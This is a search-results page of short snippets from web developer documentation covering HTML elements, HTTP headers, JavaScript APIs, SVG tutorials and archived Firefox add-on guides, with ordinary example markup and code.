... as a simple example, don't assume that any browser in which "filter" in body.style tests true must be microsoft internet explorer and therefore e.g.
...And 5 more matches
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
setting autocomplete="off" on the button disables this feature; see bug 654072.
... formenctype html5 if the button is a submit button (it's inside/associated with a <form> and doesn't have type="button"), specifies how to encode the form data that is submitted.
... formmethod html5 if the button is a submit button (it's inside/associated with a <form> and doesn't have type="button"), this attribute specifies the http method used to submit the form.
...And 5 more matches
<details>: The Details disclosure element - HTML: Hypertext Markup Language
WebHTMLElementdetails
the html details element (<details>) creates a disclosure widget in which information is visible only when the widget is toggled into an "open" state.
... note: the common use of a triangle which rotates or twists around to represent opening or closing the widget is why these are sometimes called "twisties." a <details> widget can be in one of two states.
...this might look like the following: here we see a standard disclosure widget with the label "system requirements", in its default closed state.
...And 5 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
this can happen in a number of situations, including: the src attribute is empty ("") or null.
...setting this attribute to an empty string (alt="") indicates that this image is not a key part of the content (it’s decoration or a tracking pixel), and that non-visual browsers may omit it from rendering.
...image data from a cors-enabled image returned from a cors request can be reused in the <canvas> element without being marked "tainted".
...And 5 more matches
itemscope - HTML: Hypertext Markup Language
the example specifies the itemtype as "http://schema.org/movie", and specifies three related itemprop attributes.
... <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="https://youtu.be/0ay1xikx7by" itemprop="trailer">trailer</a> </div> structured data the following table shows the structured data from the preceding example.
... <div itemscope itemtype="http://schema.org/recipe"> <h2 itemprop="name">grandma's holiday apple pie</h2> <img itemprop="image" src="https://udn.realityripple.com/samples/60/d063c361c1.jpg" width="50" height="50" /> <p> by <span itemprop="author" itemscope itemtype="http://schema.org/person"> <span itemprop="name">carol smith</span> </span> </p> <p> published: <time datetime="2009-11-05" itempro...
...And 5 more matches
HTTP caching - HTTP
WebHTTPCaching
you might have seen "caching" in your browser's settings already.
... cache-control: no-cache private and public caches the "public" directive indicates that the response may be cached by any cache.
... on the other hand, "private" indicates that the response is intended for a single user only and must not be stored by a shared cache.
...And 5 more matches
Date - HTTP
WebHTTPHeadersDate
listed in the forbidden header names in the fetch spec - so this code will not send date header: fetch('https://httpbin.org/get', { 'headers': { 'date': (new date()).toutcstring() } }) header type general header forbidden header name yes syntax date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive).
..."04" or "23".
... <month> one of "jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec" (case sensitive).
...And 5 more matches
ETag - HTTP
WebHTTPHeadersETag
additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions").
... header type response header forbidden header name no syntax etag: w/"<etag_value>" etag: "<etag_value>" directives w/ optional 'w/' (case-sensitive) indicates that a weak validator is used.
... "<etag_value>" entity tag uniquely representing the requested resource.
...And 5 more matches
If-Range - HTTP
WebHTTPHeadersIf-Range
it is a string of ascii characters placed between double quotes (like "675af34563dc-tr34") and may be prefixed by w/ to indicate that the weak comparison algorithm should be used.
... <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive).
..."04" or "23".
...And 5 more matches
Link prefetching FAQ - HTTP
an example using the link tag follows: <link rel="prefetch" href="/images/big.jpeg"> the same prefetching hint using an http link: header: link: </images/big.jpeg>; rel=prefetch the format for the link: header is described in rfc 5988 section 5.
... some more examples follow: <link rel="prefetch alternate stylesheet" title="designed for mozilla" href="mozspecific.css"> <link rel="next" href="2.html"> are anchor (<a>) tags prefetched?
...link type "prefetch".
...And 5 more matches
Memory Management - JavaScript
garbage collection as stated above, the general problem of automatically finding whether some memory "is not needed anymore" is undecidable.
... in this context, the notion of an "object" is extended to something broader than regular javascript objects and also contain function scopes (or the global lexical scope).
...an object is said to be "garbage", or collectible if there are zero references pointing to it.
...And 5 more matches
SyntaxError: missing name after . operator - JavaScript
the javascript exception "missing name after .
... operator" occurs when there is a problem with how the dot operator (.) is used for property access.
... var obj = { foo: { bar: "baz", bar2: "baz2" } }; var i = 2; obj.[foo].[bar] // syntaxerror: missing name after .
...And 5 more matches
Date.parse() - JavaScript
description the parse() method takes a date string (such as "2011-10-10t14:48:00") and returns the number of milliseconds since january 1, 1970, 00:00:00 utc.
...(see the section date time string format in the ecmascript specification for more details.) for example, "2011-10-10" (date-only form), "2011-10-10t14:48:00" (date-time form), or "2011-10-10t14:48:00.000+09:00" (date-time form with milliseconds and time zone) can be passed and will be parsed.
... however, if the string is recognized as an iso format string and it contains invalid values, it will return nan in all browsers compliant with es5 and later: // iso string with invalid values new date('2014-25-23').toisostring(); // throws "rangeerror: invalid date" in all es5-compliant browsers spidermonkey's implementation-specific heuristic can be found in jsdate.cpp.
...And 5 more matches
Intl.RelativeTimeFormat.prototype.format() - JavaScript
possible values are: "year", "quarter", "month", "week", "day", "hour", "minute", "second".
...const rtf = new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1).
... rtf.format(-1, "day"); // > "1 day ago" // format relative time using positive value (1).
...And 5 more matches
Promise() constructor - JavaScript
} at the time when the constructor generates the new promiseobj, it also generates a corresponding pair of functions for resolutionfunc and rejectionfunc; these are "tethered" to the promiseobj.
... therefore, the code within the executor has the opportunity to perform some operation and then reflect the operation's outcome(if the value is not another promise object) as either "fulfilled" or "rejected" by terminating with an invocation of either the resolutionfunc or the rejectionfunc, respectively.
...the side-effect is that the promiseobj becomes "resolved." typically, it works like this: the operation within executor is asynchronous and provides a callback.
...And 5 more matches
Proxy - JavaScript
for example, this code defines a simple target with just two properties, and an even simpler handler with no properties: const target = { message1: "hello", message2: "everyone" }; const handler1 = {}; const proxy1 = new proxy(target, handler1); because the handler is empty, this proxy behaves just like the original target: console.log(proxy1.message1); // hello console.log(proxy1.message2); // everyone to customise the proxy, we define functions on the handler object: const target = { message1: "hello", message2: "everyone" }; ...
...const handler2 = { get: function(target, prop, receiver) { return "world"; } }; const proxy2 = new proxy(target, handler2); here we've provided an implementation of the get() handler, which intercepts attempts to access properties in the target.
...the very simple trap in handler2 above redefines all property accessors: console.log(proxy2.message1); // world console.log(proxy2.message2); // world with the help of the reflect class we can give some accessors the original behavior and redefine others: const target = { message1: "hello", message2: "everyone" }; const handler3 = { get: function (target, prop, receiver) { if (prop === "message2") { return "world"; } return reflect.get(...arguments); }, }; const proxy3 = new proxy(target, handler3); console.log(proxy3.message1); // hello console.log(proxy3.message2); // world constructor proxy() creates a new proxy object.
...And 5 more matches
Image file type and format guide - Web media technologies
its animation support caused a resurgence in its popularity in the social media era, when animated gifs began to be widely used for short "videos", memes, and other simple animation sequences.
... licensing — jpeg (joint photographic experts group image) the jpeg (typically pronounced "jay-peg") image format is currently the most widely used lossy compression format for still images.
...the jfif (jpeg file interchange format) specification describes the format of the files we think of as "jpeg" images.
...And 5 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
the markup is very simple: <x-deck selected-index="0"> <x-card> … </x-card> <x-card> … </x-card> <x-card> … </x-card> </x-deck> note: these weird x- elements may be unfamiliar; they are part of brick, mozilla's ui element library for mobile web apps.
...to achieve this, we applied the brick css to the page using a separate <link> element with a media attribute: <link href="dist/brick.css" type="text/css" rel="stylesheet" media="all and (max-width: 480px)"> this says that the whole stylesheet will not be linked to the html unless the viewport width is 480px or less.
...we opened up the brick.js file and wrapped the whole lot in the following: if (window.matchmedia("(max-width: 480px)").matches) { // the whole of brick.js goes here!
...And 5 more matches
preserveAspectRatio - SVG: Scalable Vector Graphics
example <svg viewbox="-1 -1 162 92" xmlns="http://www.w3.org/2000/svg"> <defs> <path id="smiley" d="m50,10 a40,40,1,1,1,50,90 a40,40,1,1,1,50,10 m30,40 q36,35,42,40 m58,40 q64,35,70,40 m30,60 q50,75,70,60 q50,75,30,60" /> </defs> <!-- (width>height) meet --> <svg preserveaspectratio="xmidymid meet" x="0" y="0" viewbox="0 0 100 100" width="20" height="10"><use href="#smiley" /></svg> <svg preserveas...
...pectratio="xminymid meet" x="25" y="0" viewbox="0 0 100 100" width="20" height="10"><use href="#smiley" /></svg> <svg preserveaspectratio="xmaxymid meet" x="50" y="0" viewbox="0 0 100 100" width="20" height="10"><use href="#smiley" /></svg> <!-- (width>height) slice --> <svg preserveaspectratio="xmidymin slice" x="0" y="15" viewbox="0 0 100 100" width="20" height="10"><use href="#smiley" /></svg> <svg preserveaspectratio="xmidymid slice" x="25" y="15" viewbox="0 0 100 100" width="20" height="10"><use href="#smiley" /></svg> <svg preserveaspectratio="xmidymax slice" x="50" y="15" viewbox="0 0 100 100" width="20" height="10"><use href="#smiley" /></svg> <!-- (width<height) meet --> <svg preserveaspectratio="xmidymin meet" x="75" y="0" viewbox="0 0 100 100" wi...
...dth="10" height="25"><use href="#smiley" /></svg> <svg preserveaspectratio="xmidymid meet" x="90" y="0" viewbox="0 0 100 100" width="10" height="25"><use href="#smiley" /></svg> <svg preserveaspectratio="xmidymax meet" x="105" y="0" viewbox="0 0 100 100" width="10" height="25"><use href="#smiley" /></svg> <!-- (width<height) slice --> <svg preserveaspectratio="xminymid slice" x="120" y="0" viewbox="0 0 100 100" width="10" height="25"><use href="#smiley" /></svg> <svg preserveaspectratio="xmidymid slice" x="135" y="0" viewbox="0 0 100 100" width="10" height="25"><use href="#smiley" /></svg> <svg preserveaspectratio="xmaxymid slice" x="150" y="0" viewbox="0 0 100 100" width="10" height="25"><use href="#smiley" /></svg> <!-- none --> <svg preserveaspectratio="no...
...And 5 more matches
transform - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="-40 0 150 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g fill="grey" transform="rotate(-10 50 100) translate(-36 45.5) skewx(40) scale(1 0.5)"> <path id="heart" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </g> <use xlink:href="#heart" fill="none" stroke="red"/> </svg> note: as of svg2, transform is a presentation attribute, meaning it can be used as a css property.
... \\ 1 \end{pmatrix} = \begin{pmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{pmatrix} \begin{pmatrix} x_{\mathrm{prevcoordsys}} \\ y_{\mathrm{prevcoordsys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a x_{\mathrm{prevcoordsys}} + c y_{\mathrm{prevcoordsys}} + e \\ b x_{\mathrm{prevcoordsys}} + d y_{\mathrm{prevcoordsys}} + f \\ 1 \end{pmatrix} example html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="30" height="20" fill="green" /> <!-- in the following example we are applying the matrix: [a c e] [3 -1 30] [b d f] => [1 3 40] [0 0 1] [0 0 1] which transform the rectangle as such: top left corner: oldx=10 oldy=10 newx = a * oldx + c * oldy + e = 3 * 10 - 1 * 10 + 30 = 50 newy = b * oldx +...
...wy = b * oldx + d * oldy + f = 1 * 40 + 3 * 10 + 40 = 110 bottom left corner: oldx=10 oldy=30 newx = a * oldx + c * oldy + e = 3 * 10 - 1 * 30 + 30 = 30 newy = b * oldx + d * oldy + f = 1 * 10 + 3 * 30 + 40 = 140 bottom right corner: oldx=40 oldy=30 newx = a * oldx + c * oldy + e = 3 * 40 - 1 * 30 + 30 = 120 newy = b * oldx + d * oldy + f = 1 * 40 + 3 * 30 + 40 = 170 --> <rect x="10" y="10" width="30" height="20" fill="red" transform="matrix(3 1 -1 3 30 40)" /> </svg> translate the translate(<x> [<y>]) transform function moves the object by x and y.
...And 5 more matches
Fills and Strokes - SVG: Scalable Vector Graphics
<rect x="10" y="10" width="100" height="100" stroke="blue" fill="purple" fill-opacity="0.5" stroke-opacity="0.8"/> in addition, you can specify the opacity of either the fill or stroke separately in svg.
... <?xml version="1.0" standalone="no"?> <svg width="160" height="140" xmlns="http://www.w3.org/2000/svg" version="1.1"> <line x1="40" x2="120" y1="20" y2="20" stroke="black" stroke-width="20" stroke-linecap="butt"/> <line x1="40" x2="120" y1="60" y2="60" stroke="black" stroke-width="20" stroke-linecap="square"/> <line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-linecap="round"/...
... <?xml version="1.0" standalone="no"?> <svg width="160" height="280" xmlns="http://www.w3.org/2000/svg" version="1.1"> <polyline points="40 60 80 20 120 60" stroke="black" stroke-width="20" stroke-linecap="butt" fill="none" stroke-linejoin="miter"/> <polyline points="40 140 80 100 120 140" stroke="black" stroke-width="20" stroke-linecap="round" fill="none" stroke-linejoin="round"/> <polyline p...
...And 5 more matches
Filter effects - SVG: Scalable Vector Graphics
<svg width="250" viewbox="0 0 200 85" xmlns="http://www.w3.org/2000/svg" version="1.1"> <defs> <!-- filter declaration --> <filter id="myfilter" filterunits="userspaceonuse" x="0" y="0" width="200" height="120"> <!-- offsetblur --> <fegaussianblur in="sourcealpha" stddeviation="4" result="blur"/> <feoffset in="blur" dx="4" dy="4" result="offsetblur"/> ...
... <!-- litpaint --> <fespecularlighting in="blur" surfacescale="5" specularconstant=".75" specularexponent="20" lighting-color="#bbbbbb" result="specout"> <fepointlight x="-5000" y="-10000" z="20000"/> </fespecularlighting> <fecomposite in="specout" in2="sourcealpha" operator="in" result="specout"/> <fecomposite in="sourcegraphic" in2="specout" operator="arithmetic" k1="0" k2="1" k3="1" k4="0" result="litpaint"/> <!-- merge offsetblur + litpaint --> <femerge> <femergenode in="offsetblur"/> <femergenode in="litpaint"/> </femerge> </filter> </defs> <!-- graphic elements --> <g filter="url(#myfilter)"> <path fill="none" stroke="#d90000"...
... stroke-width="10" d="m50,66 c-50,0 -50,-60 0,-60 h100 c50,0 50,60 0,60z" /> <path fill="#d90000" d="m60,56 c-30,0 -30,-40 0,-40 h80 c30,0 30,40 0,40z" /> <g fill="#ffffff" stroke="black" font-size="45" font-family="verdana" > <text x="52" y="52">svg</text> </g> </g> </svg> step 1 <fegaussianblur in="sourcealpha" stddeviation="4" result="blur"/> <fegaussianblur> takes in "sourcealpha", which is the alpha channel of the source graphic, applies a blur of 4, and stores the result in a temporary buffer named "blur".
...And 5 more matches
Patterns - SVG: Scalable Vector Graphics
WebSVGTutorialPatterns
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient1"> <stop offset="5%" stop-color="white"/> <stop offset="95%" stop-color="blue"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1"> <stop offset="5%" stop-color="red"/> <stop offset="95%" stop-color="orange"/> </lineargradient> <pattern id="pattern" x="0" y="0" width=".25" height=".25"> <rect x="0" y="...
...0" width="50" height="50" fill="skyblue"/> <rect x="0" y="0" width="25" height="25" fill="url(#gradient2)"/> <circle cx="25" cy="25" r="20" fill="url(#gradient1)" fill-opacity="0.5"/> </pattern> </defs> <rect fill="url(#pattern)" stroke="black" width="200" height="200"/> </svg> screenshotlive sample inside the <pattern> element, you can include any of the other basic shapes you've included before, and each of them can be styled using any of the styles you've learned before, including gradients and opacity.
...it defaults to "objectboundingbox" as it did above, so a value of 1 is scaled to the width/height of the object you're applying the pattern to.
...And 5 more matches
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
symptoms previously you were able to open and display svg content with mozilla, but for no apparent reason its behaviour changes and now it always pops up the "open or save file" dialog when you try to open local svg files, and displays the "additional plugins are required to display all the media on this page" bar when you try to view html with embedded svg.
... note: the "additional plugins are required" bar can appear for legitimate reasons when the svg or its embedding html is broken or served incorrectly over the network (see the svg faq).
...try and open a local .svg file using mozilla and when the "opening ..." dialog comes up, select the "open with" radio button and choose any .exe except firefox.exe/mozilla.exe.
...And 5 more matches
XML introduction - XML: Extensible Markup Language
<?xml version="1.0" encoding="utf-8"?> attributes: version : used version xml in this document.
... comments <!-- comment --> "correct" xml (valid and well-formed) Сorrect design rules for an xml document to be correct, the following conditions must be fulfilled: document must be well-formed.
... example <?xml version="1.0" encoding="utf-8"?> <message> <warning> hello world <!--missing </warning> --> </message> now let's look at a corrected version of that same document: <?xml version="1.0" encoding="utf-8"?> <message> <warning> hello world </warning> </message> a document that contains an undefined tag is invalid.
...And 5 more matches
Loading Content Scripts - Archive of obsolete content
to supply the file "my-content-script.js", located in the /data subdirectory under your add-on's root directory, use a line like: // "data" is supplied by the "self" module var data = require("sdk/self").data; ...
... contentscriptfile: data.url("my-content-script.js") both contentscript and contentscriptfile accept an array of strings, so you can load multiple scripts, which can also interact directly with each other in the content process: // "data" is supplied by the "self" module var data = require("sdk/self").data; ...
... contentscriptfile: [data.url("jquery-1.4.2.min.js"), data.url("my-content-script.js")] scripts specified using contentscriptfile are loaded before those specified using contentscript.
...And 4 more matches
Working with Events - Archive of obsolete content
for example, the following add-on registers a listener with the tabs module to listen for the ready event, and logs a string to the console reporting the event: var tabs = require("sdk/tabs"); tabs.on("ready", function () { console.log("tab loaded"); }); it is not possible to enumerate the set of listeners for a given event.
... listening to all events you can pass the wildcard "*" as the type argument.
... if you do this, the listener will be called for any event emitted by that object, and its argument will be the name of the event: var ui = require("sdk/ui"); var panels = require("sdk/panel"); var self = require("sdk/self"); var panel = panels.panel({ contenturl: self.data.url("panel.html") }); panel.on("*", function(e) { console.log("event " + e + " was emitted"); }); var button = ui.actionbutton({ id: "my-button", label: "my button", icon: "./icon-16.png", onclick: handleclick }); function handleclick(state) { panel.show({ position: button }); } this wildcard feature does not yet work for the tabs or windows modules.
...And 4 more matches
clipboard - Archive of obsolete content
var clipboard = require("sdk/clipboard"); clipboard.set("lorem ipsum dolor sit amet"); var contents = clipboard.get(); set the clipboard contents to some html.
... var clipboard = require("sdk/clipboard"); clipboard.set("<blink>lorem ipsum dolor sit amet</blink>", "html"); if the clipboard contains html content, open it in a new tab.
... var clipboard = require("sdk/clipboard"); if (clipboard.currentflavors.indexof("html") != -1) require("sdk/tabs").open("data:text/html;charset=utf-8," + clipboard.get("html")); set the clipboard contents to an image.
...And 4 more matches
l10n - Archive of obsolete content
localized strings are supplied by the add-on developer in .properties files stored in the add-ons "locale" directory.
... the gettext tools uses "_" for the name of the function that retrieves localized strings.
... for compatibility with tools that expect this syntax, you can assign this function to "_": var _ = require("sdk/l10n").get; given a .properties file for the current locale containing an entry like: hello_string= hello!
...And 4 more matches
ui - Archive of obsolete content
you give it an icon, a label, and a click handler: var ui = require("sdk/ui"); var action_button = ui.actionbutton({ id: "my-button", label: "action button!", icon: "./icon.png", onclick: function(state) { console.log("you clicked '" + state.label + "'"); } }); you can make a button standalone or add it to a toolbar.
...so they have a checked property which is toggled when the user clicks the button, and the icon gets a "pressed" look when the button is checked.
... you initialize a frame with a url pointing to an html document supplied under your add-on's "data" directory.
...And 4 more matches
preferences/service - Archive of obsolete content
example: var name = "extensions.checkcompatibility.nightly"; require("sdk/preferences/service").set(name, false); get(name, defaultvalue) gets the application preference name.
... example: var name = "extensions.checkcompatibility.nightly"; var nightlycompatchk = require("sdk/preferences/service").get(name); has(name) parameters name : string preference name.
... defaultvalue example: var name = "extensions.checkcompatibility.nightly"; if (require("sdk/preferences/service").has(name)) { // ...
...And 4 more matches
On page load - Archive of obsolete content
ay to one (or more, depending on which applications you target) of the following xul documents: application uri to overlay firefox chrome://browser/content/browser.xul thunderbird chrome://messenger/content/messenger.xul navigator from seamonkey chrome://navigator/content/navigator.xul attaching a script attach a script to your overlay (see "attaching a script to an overlay") that adds a load event listener to appcontent element (browsers) or messagepane (mail): window.addeventlistener("load", function load(event){ window.removeeventlistener("load", load, false); //remove listener, no longer needed myextension.init(); },false); var myextension = { init: function() { var appcontent = document.getelementbyid("appcontent"...
...); // browser if(appcontent){ appcontent.addeventlistener("domcontentloaded", myextension.onpageload, true); } var messagepane = document.getelementbyid("messagepane"); // mail if(messagepane){ messagepane.addeventlistener("load", function(event) { myextension.onpageload(event); }, true); } }, onpageload: function(aevent) { var doc = aevent.originaltarget; // doc is document that triggered "onload" event // do something with the loaded page.
... if(doc.location.href.search("forum") > -1) alert("a forum page is loaded"); // add event listener for page unload aevent.originaltarget.defaultview.addeventlistener("unload", function(event){ myextension.onpageunload(event); }, true); }, onpageunload: function(aevent) { // do something } }; current firefox trunk nightlies will fire the onpageload function for not only documents, but xul:images (favicons in tabbrowser).
...And 4 more matches
Extension Etiquette - Archive of obsolete content
ideally, the location would be below the add-ons item, grouped with the other extension-related commands (menuitem:insertafter="javascriptconsole,devtoolsseparator").
...xpcom contract ids, for instance, should always begin with an @, followed by a domain name that the author controls, e.g., "@example.com/foo/bar;1" it is important that the prefix that you use be unlikely to conflict with other code, and that it be indicative of the name of your add-on.
...don't be redundant and include "extension," "mozilla/firefox/thunderbird," or the version number in the name.
...And 4 more matches
Inline options - Archive of obsolete content
here is an example of an options.xul file: <?xml version="1.0"?> <!doctype mydialog system "chrome://myaddon/locale/mydialog.dtd"> <vbox xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <setting type="bool" pref="extensions.myaddon.bool" title="boolean" desc="stored as a boolean preference" /> </vbox> note that it's limited to <setting> tags.
... some examples: <!-- boolean examples --> <setting pref="extensions.myaddon.bool1" type="bool" title="boolean 1"/> <setting pref="extensions.myaddon.bool2" type="bool" title="boolean 2"> description of boolean 2 </setting> <!-- boolean stored as an integer --> <setting pref="extensions.myaddon.boolint" type="boolint" title="boolean 3" on="1" off="2"/> <!-- integer example --> <setting pref="extensions.myaddon.int" type="integer" title="integer"/> <...
...!-- string examples --> <setting pref="extensions.myaddon.text" type="string" title="text"/> <setting pref="extensions.myaddon.password" type="string" title="password" inputtype="password"/> <!-- color example --> <setting pref="extensions.myaddon.color" type="color" title="color"/> <!-- file and directory examples --> <setting pref="extensions.myaddon.file" type="file" title="file"/> <setting pref="extensions.myaddon.directory" type="directory" title="directory"/> <!-- list example (this example would be stored as an integer) --> <setting pref="extensions.myaddon.options1" type="menulist" title="options 1"> <menulist> <menupopup> <menuitem value="500" label="small"/> <menuitem value="800" label="medium"/> <menuitem value="1200" label="large"/> </menupopup> ...
...And 4 more matches
Installing Extensions and Themes From Web Pages - Archive of obsolete content
web script example <script type="application/javascript"> <!-- function install (aevent) { for (var a = aevent.target; a.href === undefined;) a = a.parentnode; var params = { "foo": { url: aevent.target.href, iconurl: aevent.target.getattribute("iconurl"), hash: aevent.target.getattribute("hash"), tostring: function () { return this.url; } } }; installtrigger.install(params); return false; } //--> </script> <a href="http://www.ex...
...ample.com/foo.xpi" iconurl="http://www.example.com/foo.png" hash="sha1:28857e60d043447c5f4550853f2d40770b326a13" onclick="return install(event);">install extension!</a> let's go through this piece by piece.
...users can save the xpi file to disk easily by right clicking on the link and choosing "save link as..." when the link is clicked it calls the function install passing the event object as the parameter.
...And 4 more matches
XUL user interfaces - Archive of obsolete content
mozilla overcomes this limitation by providing a specialized language for creating user interfaces: xul (xml user-interface language, usually pronounced like "zool").
...copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <?xml-stylesheet type="text/css" href="style7.css"?> <!doctype window> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="css getting started - xul demonstration" onload="init();"> <script type="application/javascript" src="script7.js"/> <label class="head-1" value="xul demonstration"/> <vbox> <groupbox class="demo-group"> <caption label="d...
...ay of week calculator"/> <grid> <columns> <column/> <column/> </columns> <rows> <row> <label class="text-prompt" value="date:" accesskey="d" control="date-text"/> <textbox id="date-text" type="timed" timeout="750" oncommand="refresh();"/> </row> <row> <label value="day:"/> <hbox id="day-box"> <label class="day" value="sunday" disabled="true"/> <label class="day" value="monday" disabled="true"/> <label class="day" value="tuesday" disabled="true"/> <label class="day" value="wednesday" disabled="true"/> <label class="day" value="thursday" disabled="true"/> <label class="day" value="friday" disab...
...And 4 more matches
Creating a dynamic status bar extension - Archive of obsolete content
download the sample update the install manifest replace all occurrences of the first sample's id, "status-bar-sample-1", with the new sample's id, "stockwatcher", and update the front end metadata to describe our new extension.
...update the chrome manifest the chrome manifest needs only a minor update from the previous sample; simply replace the id of the first sample, "status-bar-sample-1", with the name of the new sample, "stockwatcher".
...write the xul file we need a slightly more complicated xul file this time, in order to add a reference to the javascript code that will do the real work: <?xml version="1.0" encoding="utf-8"?> <!doctype overlay> <overlay id="stockwatcher-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://stockwatcher/content/stockwatcher.js"/> <!-- firefox --> <statusbar id="status-bar"> <statusbarpanel id="stockwatcher" label="loading..." tooltiptext="current value" onclick="stockwatcher.refreshinformation()" /> </statusbar> </overlay> also, notice that the definition of the status bar panel now includes a new property, onclick, which reference...
...And 4 more matches
Notes on HTML Reflow - Archive of obsolete content
elements later "in the flow" typically do not affect the geometry of elements that are earlier "in the flow", so layout can proceed left-to-right, top-to-bottom through the document.
...reflow state the reflow state object, nshtmlreflowstate, is used to pass constraining information "down" from parent frames to child frames.
...during an incremental reflow, a frame can assume that none of the constraints computed "from above" (for example, available width) have changed; instead, something "within" the frame has changed, which may have bottom-up impact to the frame hierarchy.
...And 4 more matches
Source Navigator - Archive of obsolete content
this triggers a splash screen, followed by a "source-navigator projects" dialog as the following: i've already created a new project bin.proj before documenting this.
... click "new project".
... this shows the "auto-create project" dialog: which allows you to decide your filename of the project file (which ends in .proj) and your source directory/directories that you want to import into the project.
...And 4 more matches
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
general decisions filename of dll must start with "np" (not "ns") and ends with ".dll" (i wasted hours on this - repeatedly) mimetype reflects the data type handled by the plugin.
...should either be like "application/x-vnd-yourorganization-yourfiletype" or be officially registered with iana (unlikely) or be a standard type (e.g.
... again note that the resulting dll filename must start with "np", so either call your project like this or rename the file later delete the .cpp and .h and readme files from the project and disk (if you did not create an empty project) copy the npruntime sample plugin source code into the dir of the new vs project and add the files to the project using the vs gui (.cpp files to "source files", .h files to "header files", .rc file to "resource files").
...And 4 more matches
Making it into a static overlay - Archive of obsolete content
mozilla installer packages are called xpis (pronounced "zippies"), which stands for cross-platform installer.
...to make the file into a static overlay, we need to move all the code we added to navigator.xul into a new file tinderstatusoverlay.xul in the same directory: <?xml version="1.0"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://navigator/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" ...
... id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> tinderstatusoverlay.xul starts with an xml processing instruction that identifies the file as xml (all xul files need to include this).
...And 4 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
urls 101 urls for auction item pages on ebay, like those on many other sites, usually start with the string "http://" and contain a domain name, a file path, and some query parameters.
... here's a url for an auction item page on ebay: http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=280018439106 in this url, the domain name is "cgi.ebay.com", the file path is "/ws/ebayisapi.dll", and the query parameters are "?viewitem&item=280018439106".
...in our url, "item=280018439106" is the only such parameter.
...And 4 more matches
Introducing the Audio API extension - Archive of obsolete content
the following example extracts the data from an audio element: <!doctype html> <html> <head> <title>javascript metadata example</title> </head> <body> <audio id="audio-element" src="song.ogg" controls="true" style="width: 512px;"> </audio> <script> function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; } var audio = document.getelementbyid('audio-element'); audio.adde...
... we can extend the previous example to visualize the timestamp and the first two samples in a <div> element: <!doctype html> <html> <head> <title>javascript visualization example</title> </head> <body> <audio id="audio-element" src="revolve.ogg" controls="true" style="width: 512px;"> </audio> <pre id="raw">hello</pre> <script> function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; } function audioavailable(event) { ...
... var framebuffer = event.framebuffer; var t = event.time; var text = "samples at: " + t + "\n"; text += framebuffer[0] + " " + framebuffer[1]; raw.innerhtml = text; } var raw = document.getelementbyid('raw'); var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); </script> </body> </html> creating an audio stream it is also possible to create and setup an <audio> element for raw writing from script (i.e., without a src attribute).
...And 4 more matches
Clipboard Test - Archive of obsolete content
<style></style> <style>.description{ display: block; font-size: 13pt; color: #444; font-style: italic; margin-bottom: 7px; } .method>.returns{display: none;} .method>.name>.param:not(:last-child):after{content: ","; padding-right: .5em; } .method>.name>.param:not(:last-child):after{content: ","; padding-right: .5em; } .method>.name>.param>.name:after{content: " as "; font-weight: normal; } .method>.params{display: block; color:#555;} .method>.params>.param{display: block; margin-bottom:5px;} .method>.params>.param>.name{font-weight:bold; margin-right:.5em; min-width:80px; display:inline-block;} .method>.params>.param>.description{display:inline-block; width:300px; vertical-align:top;margin-right:30px} .method>.params>.param>.type{display:inline-block; width:100px; vertical-align:top;font-we...
...ight:bold;} .method>.params>.param>.type:before{content: "type "; color: #888; font-weight:normal;} .method>.params>.param>.default{display:inline-block; width:100px; vertical-align:top;font-weight:bold;} .method>.params>.param>.default:before{content: "default "; color: #888;font-weight:normal;} ]]></style> clipboard jetpack's clipboard support api provides a standardized way for features to access the clipboard.
...jetpack.future.import("clipboard"); methods set(contentstringflavorstring)writes data from jetpack to the clipboard.
...And 4 more matches
Simple Storage - Archive of obsolete content
